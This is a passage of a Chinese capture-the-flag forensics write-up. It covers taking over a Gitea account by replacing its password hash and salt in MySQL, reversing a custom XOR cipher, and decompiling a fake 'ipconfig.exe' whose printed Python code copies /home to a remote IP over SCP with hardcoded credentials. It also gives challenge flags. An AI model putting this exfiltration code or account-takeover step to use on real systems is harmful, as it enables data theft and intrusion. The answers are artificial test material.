src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-847\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>c3a1c3c13e326020c3919093e1260525045e<\/p>\n\n\n\n<p>\u7136\u540e\u8fd9\u4e2amd5\u8fd8\u662f36\u4f4d\u7684<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-524.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"925\" height=\"349\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-524.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-848\"  sizes=\"auto, (max-width: 925px) 100vw, 925px\" \/><\/div><\/figure>\n\n\n\n<p>\u56e0\u4e3a\u662f\u8fd1\u6e90\u90a3\u53f0\u673a\u5668\u7684\u6570\u636e\u561b\uff0c\u8fd1\u6e90\u90a3\u53f0\u673a\u5668\u8d26\u53f7\u4e3ahack<br>\u6070\u597dgitea\u4e2d\u4e5f\u6709\u4e2a\u53ebhack\u7684\u7528\u6237<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-525-1024x512.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"512\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-525-1024x512.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-849\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u767b\u5f55\u4e00\u4e0b\u8fd9\u4e2a\u8d26\u53f7<\/p>\n\n\n\n<p>\u4e0d\u77e5\u9053\u5bc6\u7801\u67e5\u770bMySQL\u6570\u636e\u5e93user<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-526-1024x449.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"449\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-526-1024x449.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-850\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u770b\u5230\u5bc6\u7801\uff0c\u8fd8\u6709\u4e00\u4e2aflag palu{crP1ZIVfqrkfdhGy}<\/p>\n\n\n\n<p>\u7136\u540e\u6211\u4eec\u6ce8\u518c\u4e00\u4e2a\u8d26\u6237\uff0c\u5c06\u8d26\u6237\u7684\u5bc6\u7801\u548c\u63a9\u503c\u7ed9\u4ed6\u66ff\u6362\u6210\u6211\u4eec\u6ce8\u518c\u8d26\u6237\u7684\u5bc6\u7801\u548c\u63a9\u503c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-527-1024x370.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"370\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-527-1024x370.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-851\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-528-1024x402.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"402\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-528-1024x402.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-852\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-529.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"888\" height=\"525\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-529.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-853\"  sizes=\"auto, (max-width: 888px) 100vw, 888px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u5c31\u53ef\u4ee5\u767b\u5f55hack\u7684\u8d26\u6237\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-530-1024x456.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"456\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-530-1024x456.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-854\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-531-1024x599.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"599\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-531-1024x599.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-855\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-532-1024x667.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"667\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-532-1024x667.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-856\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5c31\u53ef\u4ee5\u53d1\u73b0\u4ed6\u7684\u52a0\u5bc6\u811a\u672c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>def custom_encrypt(text, key):\n    encrypted = &#91;]\n    key_bytes = &#91;ord(c) for c in key]\n\n    for i, char in enumerate(text):\n        shifted = ord(char) + (i % 5 + 1)\n\n        xor_key = key_bytes&#91;i % len(key_bytes)]\n        xored = shifted ^ xor_key\n        substituted = ((xored &amp; 0x0F) &lt;&lt; 4) | ((xored &amp; 0xF0) &gt;&gt; 4)\n        encrypted.append(f\"{substituted:02x}\")\n    return \"\".join(encrypted)<\/code><\/pre>\n\n\n\n<p>\u53ef\u4ee5\u76f4\u63a5\u628a\u52a0\u5bc6\u811a\u672c\u7ed9ai\uff0c\u8ba9ai\u7ed9\u9006\u5411\u7b97\u6cd5\uff0c\u4f46\u662f\u5b9e\u9645\u64cd\u4f5c\u65f6\u53d1\u73b0\u89e3\u5bc6\u4e5f\u9700\u8981key\uff0c\u4f46\u662f\u6211\u4eec\u53c8\u4e0d<br>\u77e5\u9053key\uff0c\u6211\u4eec\u7ed9ai\u4e00\u4e9b\u53ef\u80fd\u7684\u6761\u4ef6\uff0c\u6bd4\u5982\u660e\u6587\u7684\u524d\u51e0\u4e2a\u5b57\u7b26\u5927\u6982\u7387\u65f6palu{\uff0c\u6700\u6709\u4e00\u4e2a\u5b57\u7b26\u662f}\uff0c<br>\u4f46\u662fai\u4e5f\u53ea\u80fd\u901a\u8fc7\u8fd9\u4e9b\u6761\u4ef6\u89e3\u5bc6\u51fa\u90e8\u5206key\u6765\uff0c\u5176\u4f59\u7684\u8981\u4e48\u731c\u51fakey\u6765\uff0c\u8981\u4e48\u7206\u7834\u51fakey\u6765<\/p>\n\n\n\n<p>\u53ef\u4ee5\u8bc1\u660ekey\u7684\u524d\u51e0\u4e2a\u5b57\u7b26\u4e3aMySec\uff0c\u770b\u4e86wp\uff0c\u6700\u540e\u7684key\u662fMySecretKey<\/p>\n\n\n\n<p>\u4e00\u76f4\u660e\u6587\u7684\u524d\u51e0\u4e2a\u5b57\u7b26\u662fpalu{ \u53ef\u4ee5\u5f97\u5230\u5bc6\u94a5\u7684\u524d\u51e0\u4e2a\u5b57\u7b26\uff0c\u6700\u540e\u8bd5\u51fa\u5bc6\u94a5 MySecretKey<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>def custom_decrypt(encrypted_hex, key):\n    encrypted_bytes = &#91;int(encrypted_hex&#91;i:i+2], 16) for i in range(0, len(encrypted_hex), 2)]\n    key_bytes = &#91;ord(c) for c in key]\n    decrypted = &#91;]\n\n    for i, byte in enumerate(encrypted_bytes):\n        # Reverse substitution: swap nibbles back\n        substituted = ((byte &amp; 0x0F) &lt;&lt; 4) | ((byte &amp; 0xF0) &gt;&gt; 4)\n\n        # Reverse XOR\n        xor_key = key_bytes&#91;i % len(key_bytes)]\n        xored = substituted ^ xor_key\n\n        # Reverse shift\n        shifted = xored - (i % 5 + 1)\n\n        decrypted.append(chr(shifted))\n\n    return ''.join(decrypted)\n\n# Given data\nencrypted_hex = \"c3a1c3c13e326020c3919093e1260525045e\"\nkey = \"MySecretKey\"\n\n# Decrypt\nplaintext = custom_decrypt(encrypted_hex, key)\nprint(\"Decrypted plaintext:\", plaintext)<\/code><\/pre>\n\n\n\n<p>palu{Password-000}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">24.\u63d0\u4ea4\u6076\u610f\u7ef4\u6743\u8f6f\u4ef6\u7684\u540d\u79f0\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u6076\u610f\u7ef4\u6743\u8f6f\u4ef6\uff0c\u4ed6\u65e2\u7136\u8bf4\u8f6f\u4ef6\u4e86\uff0c\u5927\u6982\u7387\u5c31\u662fwindows\u4e3b\u673a\uff0c\u4e4b\u524d\u5728\u8fd1\u6e90\u673a\u5668\u4e2d\u53d1\u73b0\u542f\u52a8\u9879\u6709\u4e00<br>\u4e2a\u672a\u77e5\u6587\u4ef6 ,\u5c31\u662f\u521a\u542f\u52a8\u90a3\u4e2aparloo03\u7684\u8fd1\u6e90\u673a\u5b50\uff0c\u8fdb\u5165\u5c31\u4f1a\u51fa\u6765\u4e00\u4e2a\u7a0b\u5e8f<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-533.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"921\" height=\"565\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-533.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-857\"  sizes=\"auto, (max-width: 921px) 100vw, 921px\" \/><\/div><\/figure>\n\n\n\n<p>\u5c31\u662f\u8fd9\u4e2a\u5e94\u7528<\/p>\n\n\n\n<p>\u572817\u9898\u91cc\u9762\u6709\u7684<\/p>\n\n\n\n<p>palu{svhost}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">25.\u63d0\u4ea4\u6076\u610f\u7a0b\u5e8f\u7684\u5916\u8054\u5730\u5740<\/h2>\n\n\n\n<p>\u6211\u4eec\u7528Everything<\/p>\n\n\n\n<p>\u6309\u7167\u65f6\u95f4\u6392\u5e8f\u627e\u627e\u770b\u770b<\/p>\n\n\n\n<p>5\u670814\u65f6\u95f4\u5de6\u53f3<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-534-1024x612.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"612\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-534-1024x612.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-858\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u53d1\u73b0\u4e00\u4e2aipconfig.exe\u7684py\u6587\u4ef6<\/p>\n\n\n\n<p>\u770b\u5230\u4e86\u8fd9\u4e2aipconfig.exe\uff0c\u4e4b\u524d\u5206\u6790\u7ef4\u5de5\u5177\u7684\u65f6\u5019\u5c31\u770b\u5230\u4e86\u8fd9\u4e2apython\u6587\u4ef6\uff0c\u592a\u663e\u773c\u4e86\uff0c\u4e00\u822c\u90fd\u662f<br>\u6709\u95ee\u9898\u7684\u6587\u4ef6\u3002\u672c\u6765\u60f3\u7740\u8fd0\u884c\u4e0b\u76f4\u63a5\u770b\u5916\u8054\u5730\u5740\uff0c\u7ed3\u679c\u53d1\u73b0exe\u6839\u672c\u65e0\u6cd5\u8fd0\u884c\uff0c\u4e00\u8fd0\u884c\u5c31\u62a5\u9519\u3002\u53ea<br>\u80fd\u53cd\u7f16\u8bd1\u5206\u6790\u4e00\u4e0b\u4e86\u3002<br>python\u53cd\u7f16\u8bd1\u7684\u8fc7\u7a0b\uff0c\u603b\u4f53\u903b\u8f91\u5c31\u4e24\u6b65\uff1a<br>1\u3001\u5c06.exe\u53cd\u7f16\u8bd1\u6210.pyc\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6<br>2\u3001\u5c06.pyc\u6587\u4ef6\u53cd\u7f16\u8bd1\u6210.py\u6587\u4ef6<br>\u9996\u5148\u9700\u8981\u4e0b\u8f7dpyinstxtractor.py<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-535-1024x605.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"605\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-535-1024x605.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-859\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-536-1024x452.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"452\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-536-1024x452.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-860\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-537-1024x528.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"528\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-537-1024x528.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-861\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u53d1\u73b0\u654f\u611f\u6587\u4ef6\uff0c\u7136\u540e\u53cd\u7f16\u8bd1<\/p>\n\n\n\n<p>\u76f4\u63a5\u53bb\u5728\u7ebf\u7f51\u7ad9\u8fdb\u884cpyc\u53cd\u7f16\u8bd1<br><a href=\"https:\/\/tool.lu\/pyc\">https:\/\/tool.lu\/pyc<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-538-1024x674.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"674\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-538-1024x674.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-862\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/env python\n# visit https:\/\/tool.lu\/pyc\/ for more information\n# Version: Python 3.8\n\nimport os\nimport paramiko\nfrom scp import SCPClient\nfrom pathlib import Path\n\ndef create_ssh_client(server, port, username, password, key_path = (None, None)):\n    '''\n    \u521b\u5efaSSH\u5ba2\u6237\u7aef\u8fde\u63a5\n    '''\n    client = paramiko.SSHClient()\n    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n# WARNING: Decompyle incomplete\n\ndef transfer_directory(scp, local_path, remote_path):\n    '''\n    \u9012\u5f52\u4f20\u8f93\u76ee\u5f55\n    '''\n    for item in os.listdir(local_path):\n        local_item = os.path.join(local_path, item)\n        if os.path.islink(local_item):\n            print(f'''\u8df3\u8fc7\u7b26\u53f7\u94fe\u63a5: {local_item}''')\n            continue\n        remote_item = os.path.join(remote_path, item)\n        if os.path.isdir(local_item):\n\n            try:\n                scp.mkdir(remote_item)\n            finally:\n                pass\n            transfer_directory(scp, local_item, remote_item)\n            continue\n            print(f'''\u4f20\u8f93\u6587\u4ef6\u4e2d: {local_item}''')\n            scp.put(local_item, remote_item)\n            continue\n            return None\n\ndef main():\n    ssh_config = {\n        'server': '88.173.90.103',\n        'port': 22,\n        'username': 'ubuntu',\n        'password': 'OOWPWPWADADA' }\n    local_home = '\/home'\n    remote_base = '\/home\/ubuntu\/backup_home'\n# WARNING: Decompyle incomplete\n\nif __name__ == '__main__':\n    main()<\/code><\/pre>\n\n\n\n<p>\u53ef\u5f97\u5230flag\uff1a<br>palu{88.173.90.103}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">26.\u63d0\u4ea4\u653b\u51fb\u8fd9\u4f7f\u7528\u7684\u6076\u610fdnslog\u57df\u540d\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u4e4b\u524d\u5728\u505a\u7ef4\u62a4\u9875\u9762\u547d\u4ee4\u6267\u884c\u65e5\u5fd7\u67e5\u770b\u7684\u65f6\u5019\u53d1\u73b0\u4e86\u4e00\u4e9bdnslog\u5730\u5740\uff0c\u5c1d\u8bd5\u9009\u51e0\u4e2a\u63d0\u4ea4<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-539-1024x743.png'><img class=\"lazyload 